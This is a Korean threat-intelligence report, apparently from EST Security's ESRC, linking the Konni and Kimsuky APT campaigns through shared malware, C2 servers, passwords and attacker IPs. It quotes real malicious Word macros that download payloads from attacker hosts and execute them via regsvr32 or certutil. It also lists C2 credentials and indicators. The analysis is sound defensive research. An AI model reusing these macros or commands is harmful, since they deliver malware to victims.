[스페셜 리포트] APT 캠페인 'Konni' & 'Thallium(Kimsuky)' 조직의 공통점 발견

By 알약(Alyac)

Published: 2019-06-10 · Archived: 2026-04-05 14:52:14 UTC

안녕하세요? 이스트시큐리티 시큐리티대응센터(이하 ESRC) 입니다.

과거부터 한국과 해외 등을 상대로 은밀히 활동중인 APT(지능형 지속 위협) 공격조직 일명 '코니(Konni)'의 배후를 추적하는 과정에서 '탈륨(Thallium)/김수키(Kimsuky)'와 연관된 몇가지 의심스러운 정황들을 관찰했습니다.

김수키 조직은 특정 정부의 지원을 받고 있으며, 최근까지 코니 조직과는 별다른 연결고리가 공식적으로 보고된 바 없습니다.

그러나 ESRC는 코니 캠페인에 연루된 몇몇 위협 흔적들을 심층 분석하는 과정에서 단순 우연으로 보기 어려운 단서를 포착했고, 이를 통해 코니와 김수키 조직이 특별한 관계일 가능성이 높다는 결론에 도달했습니다.

본 스페셜 리포트는 베일에 싸여 있던 코니 조직의 배후와 실체를 연구한 일련의 내용 중 일부를 담고 있으며, 김수키 조직과의 연관성 내용을 기술하는데 주 목적이 있습니다.

■ 코니(Konni) APT 조직의 위협 배경

먼저 코니 그룹은 약 2014년 전후, 주로 북한관련 내용의 미끼 파일로 스피어 피싱(Spear Phishing) 공격을 구사하였습니다.

그동안 코니는 국내외 보안 리포트를 통해 여러차례 위협 사례가 공개된 바 있고, 그때마다 국내외 전문가들 사이에 공격 주체에 대한 논쟁이 많았습니다. 일각에서는 코니 배후에 한국의 특정 기관이나 기업이 있다는 주장도 있었고, 다른 한편에선, 북한이나 중국을 포함한 제3국 가능성도 조심스럽게 제시한 바 있습니다.

이처럼 코니 실체에 대한 여러 시각차와 배후 규명에 많은 한계가 있었습니다.

아울러 코니 시리즈는 'Nokki', 'DarkHotel', 'Syscon', 'Carrotbat' 등 다양한 연관성과 별칭을 가지고 있기도 하며, 중국의 오픈 소스인 Babyface RAT 종류와 러시아의 Amadey Botnet 인프라를 활용하는 등 갈수록 교란전술이 진화하고 있습니다.

현재까지 확실한 점은 코니 조직이 과거에는 북한과 관련된 정치 사회적인 위협활동에 집중했고, 지금은 암호화폐 관련 외화벌이도 함께 수행한다는 것 입니다. 이러한 활동 반경은 김수키 조직과도 분명 오버랩 된다는 점입니다.

지난 2016년 당시 국제연합(UN)을 사칭해 수행된 코니 공격 사례를 살펴보자면, 악성 DOC 문서 파일이 첨부된 스피어 피싱 공격에, 마치 북한과 관련된 내용을 담아 수신자로 하여금 위협에 노출되도록 현혹하고 있습니다.

[그림 1] 2016년 북한 관련 내용으로 수행된 스피어 피싱 사례

2017년에는 유사한 내용을 담고 있는 실행 파일(EXE) 형태의 악성파일이 발견되었는데, 이때 다음과 같이 '코니' 시리즈의 PDB 자료가 다수 목격됩니다.

File Name	Program database	MD5
How can North Korean hydrogen bomb wipe out Manhattan.scr	F:\0_work\planes\complete_exe\Doc7\Release\Doc.pdb	49B3C5975C8717DA0606EC060B4271A2
Pyongyang Directory Group email April 2017 RC_Office_Coordination_Associate.scr	F:\0_work\planes\2017\0414\Doc7\Release\Doc.pdb	B9BA36607EA379DA4B6620C4E3FCE2CA

winload.exe	F:\0_work\planes\2017\0414 \virus-load_Result\virus-exe.pdb	B5D9D194E1BEA5889096460172673081

당시 보고된 여러 악성 파일 내부에는 'AVI', 'EPE' 등의 리소스를 가지고 있었고, 사용된 언어가 <중국어>로 설정되어 있었습니다. 하지만 이것만으로 위협 배후를 중국이라고 단정하기엔 여러가지로 증거가 희박한 상태입니다.

또한, APT 공격자들이 분석과 추적에 혼란을 주기 위해 의도적으로 다른 언어를 사용하는 경우도 존재하며, 교란 목적으로 거짓 표식(False Flag) 전술이 적용되기 때문입니다.

[그림 2] Pyongyang Directory Group email April 2017 RC_Office_Coordination_Associate.scr 리소스 화면

ESRC에서는 2018년 10월에 【새로운 KONNI 캠페인 등장, '작전명 해피 바이러스(Operation Happy Virus)'】 보고서를 통해 공격자들이 <한국어> 언어를 사용하는 사례도 공개한 바 있습니다.

그리고 2019년 상반기에 【암호화폐 내용의 Konni APT 캠페인과 '오퍼레이션 헌터 아도니스'】, 【한국어 구사 Konni 조직, 블루 스카이 작전 'Amadey' 러시아 봇넷 활용】 포스팅에선 최근 공격 전술에 대한 내용과 함께 위협 조직이 북한 관련 내용 이외에 암호화폐 분야에 대한 공격까지 범위를 확대함을 밝혀냈습니다.

■ 2019년 05월 암호화폐 거래소 자료로 위장한 공격 등장

ESRC는 2019년 05월 23일 마지막으로 수정된 악성 DOC 문서가 최근 코니 시리즈와 오버랩된다는 것을 확인하였습니다.

이 악성 파일은 특정 암호화폐 거래소의 문서처럼 위장되어 있고, 파일명은 '**Huobi Research Weekly (Vol.62) 2019.05.13-2019.05.19.doc**' 입니다.

문서가 실행되면 한국에서 꾸준히 목격되는 매크로 실행 유도 화면을 볼 수 있고, 이때, [콘텐츠 사용] 버튼을 실행할 경우 악의적인 기능이 작동하게 됩니다.

[그림 3] 암호화폐 거래소 문서로 위장된 악성 파일 실행화면

매크로 코드가 실행되면, Chr 코드로 난독화된 16진수 매크로 함수가 실행되고, '1.dat' 파일이 임시 폴더(Temp) 경로에 다운로드됩니다. 그리고 특정 C2 주소가 선언되어 있습니다.

```
Sub Document_Open()

Dim URL As String

Dim Location As String

Dim FSO As Object

Set FSO = CreateObject("Scripting.FileSystemObject")

Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")

Dim sURL As String

'sURL = Chr(&H68) & Chr(&H74) & Chr(&H74) & Chr(&H70) & Chr(&H3A) & Chr(&H2F) & Chr(&H2F) & Chr(&H66) & Chr(&H69) & Chr(&H67) & Chr(&H68) & Chr(&H69) & Chr(&H74) & Chr(&H69) & Chr(&H6E) & Chr(&H67) & Chr(&H31) & Chr(&H30) & Chr(&H31) & Chr(&H33) & Chr(&H2E) & Chr(&H6F) & Chr(&H72) & Chr(&H67) & Chr(&H2F) & Chr(&H32) & Chr(&H2F)
```

'On Error GoTo errorHandler

sURL = Chr(&H68) & Chr(&H74) & Chr(&H74) & Chr(&H70) & Chr(&H3A) & Chr(&H2F) & Chr(&H2F) & "naoei3-" & "tosma." & "96.lt" & "/"

sURLDoc = Chr(&H68) & Chr(&H74) & Chr(&H74) & Chr(&H70) & Chr(&H3A) & Chr(&H2F) & Chr(&H2F) & "naoei3-" & "tosma." & "96.lt" & "/"

URL = sURL + "1"

URlDoc = sURLDoc + "3"

objWinHttp.Open "GET", URL, False

objWinHttp.send ""

Location = FSO.GetSpecialFolder(2) & "\1.dat"

SaveBinaryData Location, objWinHttp.responseBody

Set rd = CreateObject("Wscript.shell")

rd.Run ("regsvr32.exe /s /i " & Location)

objWinHttp.Open "GET", URlDoc, False

objWinHttp.send ""

Location = FSO.GetSpecialFolder(2) & "\Huobi Research Weekly (Vol.62) 2019.05.13-2019.05.19.docx"

SaveBinaryData Location, objWinHttp.responseBody

Set OpenDoc = CreateObject("Word.Application")

OpenDoc.Visible = True

Set WorkDone = OpenDoc.Documents.Open(Location)

- http://fighiting1013[.]org/2 -> 동일한 C2 사용 (https://blog.alyac.co.kr/2308)

- http://naoei3-tosma.96[.]lt/1 (1.dat)

- http://naoei3-tosma.96[.]lt/3 (Huobi Research Weekly (Vol.62) 2019.05.13-2019.05.19.docx)

다운로드된 '1.dat' 파일은 'Roaming' 경로 하위에 'ChromInst' 폴더를 생성하고 'ChromSrch.dat' 파일로 복사됩니다. 그리고 'Rundll32.exe' 호스트 프로세스를 통해 실행되는데, 이때 'insrchmdl' 인자를 통해 로드됩니다.

- C:\Windows\system32\rundll32.exe "C:\Users\[사용자 계정]\AppData\Roaming\ChromInst\ChromSrch.dat",insrchmdl

그리고 레지스트리 Run 경로에 등록해 재실행되도록 설정합니다.

- 키 : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

- 이름 : ChromSrch"

- 데이터 : C:\Windows\system32\rundll32.exe "C:\Users\[사용자 계정]\AppData\Roaming\ChromInst\ChromSrch.dat",insrchmdl

더불어 '3' 경로로 접근해 임시 경로에 'Huobi Research Weekly (Vol.62) 2019.05.13-2019.05.19.docx' 파일명으로 정상적인 파일을 다운로드해 실행합니다. 이를 통해 사용자는 정상적인 문서 화면을 보게 됩니다.

[그림 4] 추가로 다운로드되는 정상 문서 파일의 실행 화면

마치 크롬 웹 브라우저 모듈처럼 위장한 악성 'ChromSrch.dat' 파일은 32비트 DLL 파일로 UPX Packer로 실행압축되어 있습니다.

파일은 한국시간(KST)으로 2019년 05월 22일 오후 4시경에 제작되었으며, 익스포트 함수명은 'EngineDropperDll.dll (DllRegisterServer, insrchmdl) 입니다.

그리고 이 파일은 FTP 기반 C2 서버로 접속해 'Ftake' 폴더 경로에 공격자의 명령을 수행하게 됩니다.

- naiei-aldiel.16mb[.]com

ESRC는 코니 그룹에 속한 공격자들이 명령을 주고 받을 때 FTP 서버를 사용한 경우를 여러차례 목격한 바 있고, 공격자가 'Victorious!@#' 문자열의 암호를 사용한 것을 확인했습니다.

한편, C2 서버의 'UFlw' 하위 경로에 또 다른 'ChromSrch.dat' 파일이 숨겨져 있던 것을 발견했는데, 동일한 기능을 보유하고 있었습니다.

특히, 이 파일들이 서버에 등록될 때 다음과 같이 두가지 형식의 압축 포맷이 사용되었습니다.

[그림 5] C2 서버에 등록되어 있는 변종 악성코드 화면

서버에 몰래 숨겨져 있던 2개의 파일은 암호화 압축이 되어 있었고, 별도의 코드에 암호가 기록되지 않았기 때문에 공격자만 이 암호를 알고 있는 상태입니다.

■ 코니(Konni) 공격의 TTPs에서 김수키(Kimsuky) 연관성이 오버랩

ESRC는 최신 코니 시리즈의 실체를 조사하면서 독특한 부분을 목격하였고, 그동안 베일에 싸여 있던 미스터리가 하나씩 풀릴 수 있는 판도라의 상자로 믿고 있습니다.

그것은 바로 코니(Konni) 그룹의 TTPs(Tactics, Techniques and Procedures)와 속성(Attribution) 등에서 김수키(Kimsuky) 조직의 침해사고 벡터와 강력히 연결됐다는 점입니다.

먼저, 지난 01월 【통일부 기자단을 상대로 한 APT공격, '오퍼레이션 코브라 베놈(Operation Cobra Venom)' 주의】, 【일요일 수행된 APT 변종 공격, 오퍼레이션 페이크 캡슐(Operation Fake Capsule) 주의】 블로그 포스팅을 통해 김수키 조직의 공격 사례를 포스팅한 바 있습니다.

당시 위협그룹은 '2.wsf' 파일 등 'Windows 스크립트 파일(.wsf)' 내부에 악의적인 코드를 삽입해 공격에 활용한 바 있고, 2018년 01월 경에도 유사한 '정보보고.wsf' 파일이 보고된 바 있습니다.

File Name	MD5
정보보고.wsf	c616893e73cfa2a5456deb578725f1e7

[그림 6] 2018년 '정보보고.wsf' 파일과 2019년 '2.wsf' 파일 비교

좌측의 '정보보고.wsf' 파일과 2019년 '오퍼레이션 코브라 베놈(Operation Cobra Venom)' 공격에 사용된 '2.wsf' 파일이 거의 비슷한 변수명을 선언해 사용하고 있음을 볼 수 있습니다.

'정보보고.wsf' 코드에서는 'kuku79.herobo[.]com', 'jejuseongahn[.]org' 등의 C2 주소가 사용되었고, 악성 코드가 실행될 경우 다음과 같이 정치적 내용을 담은 HWP 문서 내용을 보여주게 됩니다.

[그림 7] '정보보고.wsf' 파일 실행시 보여지는 정상 HWP 문서 파일 화면

한편, 2018년 07월에는 한국의 특정 비트코인 거래소에서 발신된 것처럼 교묘히 조작된 악성 이메일이 발견된 바 있습니다.

해당 이메일에는 '공지사항.zip' 파일이 첨부되어 있었고, 압축 내부에는 '공지사항.png.vbs' 악성 스크립트가 포함된 유형입니다.

[그림 8] 한국 암호화폐 거래소 발신으로 사칭한 악성 이메일

'공지사항.png.vbs' 파일은 'ago2.co[.]kr' 서버를 C2로 사용하고, 'note.png', 'svchow.dat' 파일을 불러오게 됩니다.

여기서 'note.png' 파일은 정상적인 이미지 파일이고, 'svchow.dat' 파일은 Base64 코드로 인코딩된 32비트 악성 DLL 모듈입니다.

[그림 9] '공지사항.png.vbs' 악성 스크립트 화면

C2로 사용된 'ago2.co[.]kr' 서버는 'Alienvault OTX' 조회를 통해 다양한 침해사고 이력을 조회할 수 있고, 악성 파일 유포와 피싱용 서버로 악용된 정황도 발견됩니다.

당시 사용된 악성모듈은 감염 시스템의 정보 등을 수집해 'ago2.co[.]kr' C2 서버로 통신을 시도하게 됩니다.

```
push    0               ; int
push    eax             ; void *
mov     [ebp+szUrlName], 0
call    _memset
push    103h            ; size_t
lea     eax, [ebp+var_10F]
push    0               ; int
push    eax             ; void *
mov     [ebp+DstBuf], 0
call    _memset
push    offset aFest_dll ; "fest.dll"
push    offset DstBuf
push    offset aHttpAgo2_co_kr ; "http://ago2.co[.]kr/bbs/data/dir"
lea     eax, [ebp+szUrlName]
push    offset aSSS     ; "%s/%s/%s"
push    eax             ; DstBuf
call    sub_10001160
push    offset aFest_dll ; "fest.dll"
push    offset pszPath  ; ArgList
lea     eax, [ebp+DstBuf]
push    offset aSS_0    ; "%s\\%s"
push    eax             ; DstBuf
call    sub_10001160
add     esp, 3Ch
lea     eax, [ebp+szUrlName]
push    eax             ; lpszUrlName
call    ds:DeleteUrlCacheEntry
```

또한, 코드 내부에는 다음과 같은 'svchow.pdb' 경로가 발견되기도 합니다.

- D:\work\svchow\Release\svchow.pdb

ESRC는 'ago2.co[.]kr' C2가 2017년에도 이미 악용된 것을 확인한 상태이고, 당시에 사용된 악성 파일이 2018년 발견된 것의 변종임을 파악했습니다.

File Name	Time Date Stamp (KST)	MD5
HncCheck.dll	2017-05-26 17:56:44	3dcd31490846e235bc17cbfdac0a9484
svchow.dll	2018-07-17 21:29:11	87e00dede257d234d2558ed2ae0d7ec2

[그림 10] 'HncCheck.dll' 파일과 'svchow.dll' 파일 함수 비교 화면

지금까지 살펴본 사례들은 코브라 베놈 사건들과 직간접적으로 연결되고 있는데, 2019년 상반기 중에 WSF 유형의 악성 파일이 다수 발견됩니다.

File Name	C2
Naver Login Info.txt.wsf	sariwon.co[.]kr
Delivered-Email.wsf	user-protect-center.pe[.]hu
Delivered-Email.wsf	ondol.inodea.co[.]kr
Naver_Security_Infos.wsf	oeks39402.890m[.]com

각각의 파일은 실행 시 다음과 같이 내부에 포함하고 있는 정상 데이터를 로딩하여, 사용자로 하여금 정상 파일로 오인하도록 현혹합니다.

[그림 11] 악성 WSF 파일이 실행 후 보여지는 화면 모음

ESRC는 해당 공격을 추적 분석하는 과정 중에 'Huobi Research Weekly (Vol.62) 2019.05.13-2019.05.19.doc' 사례와 동일한 코드를 발견하였습니다.

'Konni' 캠페인에서 목격된 'ChromSrch.egg_' 파일과 동일한 이름을 가진 악성코드가 'Cobra Venom' 사건이랑 정확히 겹친다는 것입니다.

실제 유포된 각각의 화면을 비교하면 압축 내부 파일명 'ChromSrch.dat' 이름도 동일하고 암호화 압축된 것도 정확히 일치합니다.

공격자는 C2 서버에 'EGG', 'RAR' 두개의 압축 포맷으로 악성 파일을 등록해 두었고, 일부는 확장명을 변경해 두기도 했습니다.

시계열(Timeline) 기반으로 보면, 'Cobra Venom' 시리즈에 사용된 악성코드가 더 빨리 제작된 것을 볼 수 있습니다. 물론, 여기서 언급한 'Cobra Venom' 시리즈는 'Kimsuky' 공격 조직을 의미합니다.

[그림 12] 'Konni' 시리즈와 'Kimsuky'(Cobra Venom) 공격벡터 비교 화면

압축 파일은 암호화 기능이 설정되어 있어, 암호를 알지 못하면 내부의 악성코드를 확인하기 어려운데, 확인결과 'Konni' 시리즈와 'Kimsuky' 시리즈의 설정 암호는 정확히 일치하는 것도 확인되었습니다.

압축 내부에 존재하는 'ChromSrch.dat' 파일은 모두 UPX 패커로 실행압축되어 있으며, 'EngineDropperDll.dll' 익스포트 함수명과 파라미터 코드인 'insrchmdl' 정확히 일치합니다.

그리고 암호화된 데이터를 복호화하는 디코딩 루틴도 100% 일치하는 것을 확인했습니다.

[그림 13] 'Konni' 시리즈와 'Kimsuky' 시리즈 암호화 알고리즘 루틴 비교

ESRC에서는 Kimsuky 공격자가 사용한 여러 C2 서버에서 동일한 웹쉘(Webshell)을 사용한 것과 PHP 이메일 발송기를 동일하게 활용하는 점도 다수 포착했습니다.

공격자들은 최근까지도 'b374k' webshell 코드를 활용해 C2 서버를 운영했으며, 로그인 암호도 'victory' 문자열을 사용합니다.

[그림 14] 'b374' 2.8 버전의 웹쉘 사용 화면

특히, 'gyjmc[.]com' C2는 2019년 상반기에 한국의 언론사를 상대로 한 피싱 공격뿐만 아니라, 아주 오랜 기간 악용된 곳 중에 하나입니다.

'Kimsuky' 공격자들은 C2 서버에 PHP 기반 이메일 발송 프로그램을 등록해 발신지 조작뿐만 아니라, 악성 파일 유포 경유지로도 사용합니다.

[그림 15] 실제 피싱 이메일 화면과 PHP 이메일 발송기 화면

'gyjmc[.]com' C2를 사용하는 악성코드는 2017년에 제작된 변종이 보고된 바 있습니다.

[그림 16] gyjmc[.]com C2 서버 악성코드 화면

그리고 앞서 '정보보고.wsf', '공지사항.png.vbs' 공격에 사용된 'ago2.co[.]kr' 주소와 'jejuseongahn[.]org' C2 주소가 이메일 발송 프로그램 코드에서도 보고된 바 있습니다.

$server = 'http://www.jejuseongahn[.]org/hboard4/data/file/AccountChooser/confirm';

$server = 'http://ago2.co[.]kr/data/file/AccountChooser/download';

'Kimsuky' 조직이 자주 사용한 바 있는 'b374k' webshell 암호는 '승리'라는 의미의 'victory' 문자열이 자주 사용되었습니다.

'Huobi Research Weekly (Vol.62) 2019.05.13-2019.05.19.doc' 악성 코드가 통신하는 FTP 서버의 C2 암호는 'Victorious!@#' 문자열이 사용되었습니다.

- 주소 : naiei-aldiel.16mb[.]com

- 암호 : Victorious!@#

ESRC는 'IEService.dat' 파일명으로 유포되었고, 익스포트 함수명이 'EngineDropperDll.dll'인 유사 악성 파일도 분석했습니다.

이 악성 파일은 'user-protect-center.pe[.]hu' 서버를 통해 전파되었고, 다음과 같은 FTP 서버로 통신을 시도하는데, 이때 사용한 암호가 'victory123!@#' 이라는 점이 흥미롭습니다.

- 주소 : user-protect-center.pe[.]hu

- 암호 : victory123!@#

비슷한 사례의 공격 벡터에서 'victory' 의미의 문자열이 지속적으로 식별된 점을 단순 우연이라고 보기엔 여러가지로 해석 볼 필요가 있습니다.

이외의 변종 중에는 'HncUpdate.dat', 'GoogleRsv.dat' 파일명이 있는데, 공격자는 'ChromSrch.dat', 'IEService.dat' 등 웹 브라우저나 특정 소프트웨어 업데이트 모듈처럼 위장한 독특한 습관과 특징을 엿볼 수 있습니다.

보통 Kimsuky 그룹의 공격자들은 스피어 피싱 이메일을 발송할 때, PHP 기반 메일러를 해킹한 웹 사이트나 무료 웹 호스팅 서버에 등록해 발신지 조작 용도 등으로 활용합니다.

[그림 17] C2 서버에 등록된 PHP 기반 이메일 발송 프로그램

스피어피싱 이메일을 발송할 때는 다양한 미끼 패턴이 사용되는데, 대표적으로 한국의 대학이나 주요 포털 사이트 관리자, 정부기관 주요인사를 주로 사칭합니다. 때로는 공격 대상자(수신)와 관련된 사람처럼 맞춤형 디자인을 합니다.

[그림 18] C2 서버에서 발견된 'Kimsuky' 조직의 실제 이메일 발송 프로그램 초기 화면

위협 배후들은 다양한 시나리오 기반의 스피어 피싱 공격을 수행하고 있으며, 반복 학습과 실전 경험을 통해 나날이 교묘하고 정교한 형태로 진화하고 있습니다.

그동안 'Kimsuky' 조직이 한국내에서 수행한 APT 공격 데이터는 매우 다양하게 존재하고, 침해 사고의 연관성 분석에 있어서 중요한 단서와 증거로 활용되고 있습니다.

반면 'Konni' 조직의 위협 지표들은 상대적으로 단편적이고, 온전한 퍼즐 조각을 맞추는데 많은 노력이 요구되고 있습니다.

■ 위협 인프라 기반 공격자 활동 반경 역학 조사

[그림 19] 'Konni' 캠페인의 실제 스피어 피싱 화면

2018년 04월에 보고된 '_확인 자료.doc' 악성 파일의 경우 'Konni' 캠페인의 대표적 위협 활동 사례 중 하나입니다.

당시 공격자는 마치 구글 지메일(@gmail.com)에서 발송한 것처럼 흡사하게 조작한 지몰 도메인(@gmall.com)주소와 실제 비트코인 채굴사업 분야에서 활동하는 사람의 아이디(rstjs84)처럼 위장해 해킹 이메일을 전송합니다.

실제 발송된 메일의 서버는 (mailout05.yourhostingaccount[.]com [65.254.254.73]) 이며, X-EN-OrigIP 주소가 '202.168.155.156' 한국으로 기록되어 있습니다.

Received: from moo.corkmusicstationcom by walcustweb0403.**yourhostingaccount[.]com** with local (Exim)

id 1f7BXT-000097-SU

for < >; Fri, 13 Apr 2018 23:07:43 -0400

X-EN-Info: U=moo.corkmusicstationcom P=/.well-known/weebly-verify/**config[.]php**

X-EN-CGIUser: moo.corkmusicstationcom

X-EN-CGIPath: /.well-known/weebly-verify/config[.]php

X-EN-OrigIP: **202.168.155.156 (KR)**

Message-Id: <1523675263-12-moo.corkmusicstationcom@walcustweb0403.yourhostingaccount[.]com>

To: < >

Subject: =?utf-8?Q?=ED=99=95=EC=9D=B8_=EB=B6=80=ED=83=81_=EB=93=9C?=

=?utf-8?Q?=EB=A6=BD=EB=8B=88=EB=8B=A4?=

X-PHP-Originating-Script: 2765341:**mail[.]php**

첨부되어 있던 악성 DOC 문서파일의 메타데이터를 확인해 보면, 코드페이지가 한국어(949) 기반으로 작성되어 있으며, 작성자와 마지막 수정자의 아이디는 공통적으로 'YHTRF' 입니다.

Codepage: 949 (Korean)

Title:

Subject:

Author: YHTRF

Keywords:

Comments:

Template: Normal.dotm

Last author: YHTRF

Revision: 11

Application name: Microsoft Office Word

Editing time: 00:03:00 01.01

Creation time: 월 3 12 17:48:00 2018

Last save time: 일 4 8 15:55:00 2018

VBA 매크로 코드에는 'Konni' 패밀리와 동일한 'filer1.1apps[.]com/1.txt' C2 서버가 사용되는데, 이곳은 【한국어 구사 Konni 조직, 블루 스카이 작전 'Amadey' 러시아 봇넷 활용】 서버와 정확히 일치합니다.

File Name	_확인 자료.doc **(YHTRF)**
MD5	2614bd5b8177ef93efaa9b06beda2398
C2	filer1.1apps[.]com

File Name	요청주신 정책 관련 자료.doc **(BlueSky)**
MD5	0eb6090397c74327cd4d47819f724953
C2	filer1.1apps[.]com

File Name	젠트리온 지갑 관련자료.doc **(BlueSky)**
MD5	2bfbf8ce47585aa86b1ab90ff109fd57
C2	filer2.1apps[.]com

Sub Document_Open()

```
Dim nResult As Long

Dim sCmdLine As String

With ActiveDocument.Content

.Font.ColorIndex = wdBlack

'.Paragraphs(4).Range.Font.ColorIndex = wdRed

End With

sCmdLine = Environ("windir")

nResult = InStr(Application.Path, "x86")

If nResult <> 0 Then

sCmdLine = sCmdLine + "\sysnative\cmd.exe /c"

Else

sCmdLine = sCmdLine + "\system32\cmd.exe /c"

End If

sCmdLine = sCmdLine + "cd %TEMP% && certutil -urlcache -split -f http://filer1.1apps[.]com/1.txt && ren 1.txt 1.bat && 1.bat"

nResult = Shell(sCmdLine, vbHide)

ActiveDocument.Save

End Sub
```

이들의 활동 반경을 추적하면서 'Kimsuky' 조직이 사용한 아이피 주소와 연결되는 몇가지 흥미로운 단서들을 포착할 수 있었습니다.

한국에서 수행된 APT 공격 계정과 동일한 인물이 특정 비트코인 거래소에 로그인한 이력을 확보할 수 있었고, 당시 사용된 실제 공격자의 아이피 주소(202.168.155.156)가 'Konni' 사례에서 목격된 것과 같습니다.

[그림 20] 'Kimsuky' APT 공격자가 사용한 비트코인 거래소 로그인 이력

더불어 상기 해당 위협 사례를 분석하고 추적하는 과정에서 특정 페이스북 계정이 발견되었고, 등록된 이름이 '리영민'으로 식별되었지만, 실명 여부는 아직 불분명합니다. 물론, 한국식 이름에서 '이'씨 성을 '리'로 표기하지는 않습니다.

[그림 21] 위협 배후 조사 중에 식별된 페이스북 계정

본 보고서 도입부에 기술한 '정보보고.wsf' 공격 벡터에는 당시 공격자 스스로 테스트한 것으로 추정되는 다양한 감염 로그가 디렉토리 리스팅 취약점으로 노출된 바 있습니다.

- kuku675.site11[.]com/data/zero/log.txt

- jejuseongahn[.]org/hboard4/data/cheditor/badu/log.txt

해당 로그 파일에 기록된 감염자 이력에는 흥미로운 점과 함께 사이버 작전보안 실패(OPSEC Fail)가 몇가지 존재합니다.

C2 서버는 맥(MAC) 주소 기반으로 특정 사용자에게만 별도의 악성 파일을 내려보내는 명령을 수행하기 때문에 로그(log.txt)에는 아이피(IP) 주소와 맥 주소가 저장됩니다.

그런데 로그 파일을 살펴보면 한국의 리눅스랩 VPN 대역의 아이피 '124.217.209.11' 주소에서 감염 정보가 등록되고, 맥은 '56DFDBA0' 주소가 기록됩니다.

그리고 몇 시간 후에 동일한 맥 주소이지만 아이피 주소가 중국 선양으로 변경되었다가 다시 한국과 중국으로 여러 차례 반복되는 것을 알 수 있습니다.

[그림 22] 공격자의 흔적과 OPSEC 실패

공개된 사실과 몇가지 정황 근거로 볼 때 공격자는 중국의 인터넷 망과 한국 VPN 서비스를 활용해 한국내 주요 기관 및 인물에 대한 APT 공격 가담 사실을 확인할 수 있습니다.

ESRC는 다양한 조사를 통해 2019년 상반기 중 중국이 공격 거점 지역에 포함되어 있음을 확인했습니다.

마치 일반적인 홍보로 위장하고 화면에 '(광고) YEEZY 500 UTILITY BLACK 온라인 래플에 응모하세요.' 제목의 이메일이 보이도록 만든 악성 파일이 발견됩니다.

이 파일은 한국의 특정 C2 서버에서 암호화 압축된 'GoogleRsv.rar' 파일을 다운로드해 풀고, 내부에 포함되어 있는 악성코드를 작동시킵니다.

그리고 감염된 시스템의 아이피 주소 등 컴퓨터 환경 정보와 모니터 화면을 캡처해 C2 서버로 전송하며, 자료에 따라 'micky_날짜_시간', 'mouserib_날짜_시간', 'piraveleg_날짜_시간', 'rosemary_날짜_시간', 'tojeny_날짜_시간' 등으로 기록되는데, 이 패턴은 이미 'Cobra Venom' 패밀리에서 사용된 바 있습니다.

2019-04-12 23:37:27 - 175.167.138.225 - F80F41BFAB80/micky_20190412_233730041

2019-04-12 23:37:27 - 175.167.138.225 - F80F41BFAB80/piraveleg_20190412_233730334

2019-04-12 23:37:30 - 175.167.138.225 - F80F41BFAB80/tojeny_20190412_233730041

2019-04-12 23:38:11 - 175.167.138.225 - F80F41BFAB80/mouserib_20190412_233810169

2019-04-13 07:54:57 - 175.167.130.236 - F80F41BFAB80/micky_20190413_075501041

2019-04-13 07:54:58 - 175.167.130.236 - F80F41BFAB80/tojeny_20190413_075501041

2019-04-13 08:05:00 - 175.167.130.236 - F80F41BFAB80/piraveleg_20190413_080504334

2019-04-13 08:05:57 - 175.167.130.236 - F80F41BFAB80/rosemary_20190413_080601145

2019-04-13 10:00:00 - 175.167.138.222 - F80F41BFAB80/micky_20190413_100000041

2019-04-13 11:11:36 - 175.167.138.222 - F80F41BFAB80/piraveleg_20190413_111140334

2019-04-13 11:11:57 - 175.167.138.222 - F80F41BFAB80/rosemary_20190413_111201890

2019-04-13 12:38:56 - 175.167.138.222 - F80F41BFAB80/tojeny_20190413_123846118

2019-04-13 15:18:27 - 175.167.146.58 - F80F41BFAB80/micky_20190413_151831041

2019-04-13 15:18:29 - 175.167.146.58 - F80F41BFAB80/tojeny_20190413_151832041

2019-04-13 15:20:27 - 175.167.146.58 - F80F41BFAB80/rosemary_20190413_152031334

2019-04-13 15:28:12 - 175.167.146.58 - F80F41BFAB80/mouserib_20190413_152816962

이 사례에서도 동일하게 맥(MAC) 주소 'F80F41BFAB80' 1곳에서 아이피(IP) 주소가 시간에 따라 변경되는 것을 볼 수 있습니다.

아이피 주소는 모두 중국 지역으로 할당된 '175.167.XXX.XXX' 대역이 사용되었습니다.

■ 코니와 김수키가 공통으로 사용하는 커스텀 팀뷰어

한편, 코니 공격자는 중국 오픈 소스 RAT인 'Babyface' 기반의 악성 파일을 통해 팀뷰어(Team Viewer) 커스텀 악성 파일을 내려 보낸 사례가 있습니다.

이 내용은 지난 01월 '암호화폐 내용의 Konni APT 캠페인과 '오퍼레이션 헌터 아도니스' 리포팅을 통해 일부 공개된 바 있습니다.

아울러 작년 12월, 중국 Tencent 위협 인텔리전스 센터 공식 트위터에서는 코니(#Syscon, #Carrotbat) 태그와 함께 상세한 분석 보고서를 공개한 바 있고, 지난 5월에도 최신 분석 자료를 공개한 바 있습니다.

[그림 23] Tencent Threat Intelligence Center Twitter (@TencentTic) 화면

텐센트 분석 자료를 인용하면, 코니 캠페인은 'Babyface' RAT이 한국 소재의 '103.249.31.159' C2와 통신을 수행하고, 공격자의 명령에 따라 'iiexplorer.exe' 파일이 받아진다고 설명하고 있습니다.

'iiexplorer.exe' 파일은 커스텀 버전의 팀뷰어(Team Viewer)로 'set.log' 파일에 기록된 아이디로 통신을 시도합니다.

여기에 사용된 커스텀 팀뷰어는 한국어 버전으로 설정되어 있으며, 'Gongstrong 제어판' 문자열을 가지고 있습니다.

[그림 24] Tencent 분석 보고서 자료 화면

(출처 : s.tencent.com/research/report/613.html)

ESRC는 2018년 11월 "트럼프 ‘북한 관련 가장 힘든 결정, 갈길 가겠다’.hwp" 이름의 HWP 한글 취약점을 이용한 악성 파일을 발견한 바 있습니다.

File Name	Author	Last Saved By	MD5
트럼프 ‘북한 관련 가장 힘든 결정, 갈길 가겠다’.hwp	mofa	TEST	dfe2f5fc4579f5cb56a76702a61e692a

이 공격은 전형적인 'Kimsuky' 시리즈의 쉘코드와 메타 데이터를 가지고 있으며, 관련 자료는 【오퍼레이션 김수키(Kimsuky)의 은밀한 활동, 한국 맞춤형 APT 공격은 현재 진행형】 내용을 참고해 주세요.

악성 HWP 문서 파일이 실행되면 내부에 포함되어 있는 쉘코드가 작동하면서 특정 C2로 접속하면서 다음과 같은 배포용 문서 내용을 보여주게 됩니다.

[그림 25] 악성 문서 파일이 실행된 후 보여지는 화면

